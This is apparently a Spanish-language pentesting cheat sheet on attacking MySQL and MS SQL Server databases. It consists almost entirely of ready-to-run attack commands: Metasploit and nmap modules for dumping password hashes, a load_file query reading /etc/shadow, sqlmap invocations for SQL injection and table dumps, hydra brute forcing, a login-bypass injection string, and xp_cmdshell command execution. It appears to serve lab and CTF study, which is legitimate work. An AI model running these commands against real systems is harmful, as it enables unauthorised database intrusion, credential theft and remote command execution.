Enumeración #
Metasploit #
search type:auxiliary name:mysql
####A través de Mysql con metasploit podemos realizar un escaneo de directorios con permisos de escritura en el sistema.
use auxiliary/scanner/mysql/mysql_writable_dirs
#### Hashdump de usuarios
use auxiliary/scanner/mysql/mysql_hashdump
# Enumeracion del sistema (muy útil)
use auxiliary/admin/mssql/mssql_enum
Historial SQL #
En ocasiones si el historial está visible, podemos encontrar credenciales en el fichero .mysql.history
Ver contenido fichero .sql #
Cuando encontramos un backup de bases de datos, podemos primero probar a hacer un cat al fichero:
cat mysql_backup.sql
Enumeracion con nmap #
nmap <ip> -sV -p 3306 --script mysql-empty-password
nmap <ip> -sV -p 3306 --script mysq-info
#Enumerar usuarios bbdd teniendo ya algun usuario de la bbdd
nmap <ip> -sV -p 3306 --script mysql-users --script-args="mysqluser='<usuario>',mysqlpass='<pass>'"
#Enumerar bbdd teniendo ya algun usuario de la bbdd
nmap <ip> -sV -p 3306 --script mysql-databases --script-args="mysqluser='<usuario>',mysqlpass='<pass>'"
#Enumerar hashes
nmap <ip> -sV -p 3306 --script mysql-dump-hashes --script-args="username='<usuario>',password='<pass>'"
Conexion a la BBDD #
Con Metasploit #
use auxiliary/admin/mysql/mysql_sql
## Rellenar datos de conexión a la bbdd
-------------------------------------------------
## Comandos metasploit
set SQL show databases;
run
set SQL use <database_name>;
run
use auxiliary/admin/mysql/mysql_schemadump
## Rellenar datos de conexión a la bbdd
-------------------------------------------------
## Comandos metasploit
services
loot
creds
Mysql Basics #
mysql -h <ip> -u <usuario> (la pass mejor meterla cuando la pida luego)
mysql -u <usuario> -p<contraseña> -h <servidor> <nombre_de_base_de_datos>
show databases;
use <database_name>;
show tables;
select * from <tabla>;
select * from <tabla> where <condicion> = / > / < <argumento>;
#### LEER FICHEROS DEL SISTEMA
select load_file("/etc/shadow");
#### ver version mysql
SELECT VERSION();
#### ver version mysql desde la maquina sin credenciales
mysql -V
mysql --version
SQLMap #
SQLinjection a un formulario #
Se puede tratar de intentar una inyección SQL contra un panel de login, por ejemplo. También contra una url que parece ser sospechosa de estar haciendo una consulta SQL, por ejemplo: http://ip/products.php?id=7
Cuando se trata de una SQLi contra un panel de login, se deben añadir los siguientes parámetros, y de la siguiente manera:
--forms --batch
# --forms justo después de la URL, y --batch al final de la sentencia, ejemplo:
sqlmap -u "http://example.com/index.php?id=1" --forms --dbs --batch
SQL Injection con request #
Teniendo una petición a un sitio donde podamos tratar de inyectar código, por ejemplo un cambio de email o contraseña dentro de un perfil, el cual tenemos credenciales, y por ende una cookie de sesión. Podemos interceptar una petición con burpsuite como esta:
GET /dashboard.php?id=1 HTTP/1.1
Host: 192.168.117.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=i5224dcks25bqcmpm6udhgnmmm
Upgrade-Insecure-Requests: 1
Metemos esto en un fichero llamado “request” y lo siguiente es:
sqlmap -r request --dbs --batch
Enumerar datos de la BBDD #
# Enumerar bases de datos
sqlmap -u "http://example.com/index.php?id=1" --dbs
# Enumerar tablas de una base de datos
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> --tables
# Enumerar columnas de una tabla
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> --columns
# Enumerar todos los datos de una tabla (con sus columnas)
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> --dump
# Enumerar datos de ciertas columnas
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> -C columna1,columna2 --dump
Comandos avanzados #
# shell interactiva con la base de datos
sqlmap -u "http://example.com/index.php?id=1"
# consulta personalizada
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -sql-query "SELECT * FROM ..."
# Listar usuarios y contraseñas de la bbdd
sqlmap -u "http://example.com/index.php?id=1" --users --passwords
Fuerza bruta contra BBDD #
hydra -l <usuario_conocido> -P <diccionario> mysql://<ip>
use auxiliary/scanner/mysql/mysql_login
#Microsoft SQL Server
nmap <ip> -p 1433 --script ms-sql-brute --script-args userdb=diccionario.txt,passdb=rockyou.txt
Manual SQL injection #
Basic login bypass #
En el campo username, se puede tratar de introducir lo siguiente
test 'OR 1 = 1;-- -
SQLi con Wfuzz #
Lo ideal es capturar la request con burpsuite y cambiar el método a POST para ver como se tramita la petición para pasarle la URL con los parámetros a wfuzz.
```wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -u 'http://<IP>/admin.php?username=FUZZ&password=FUZZ'
Command Injection #
# MS SQL Server
nmap <ip> -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<usuario>,mssql.password=<password>,ms-sql-xp-cmdshell.cmd="<comando>"
use auxiliary/admin/mssql/mssql_exec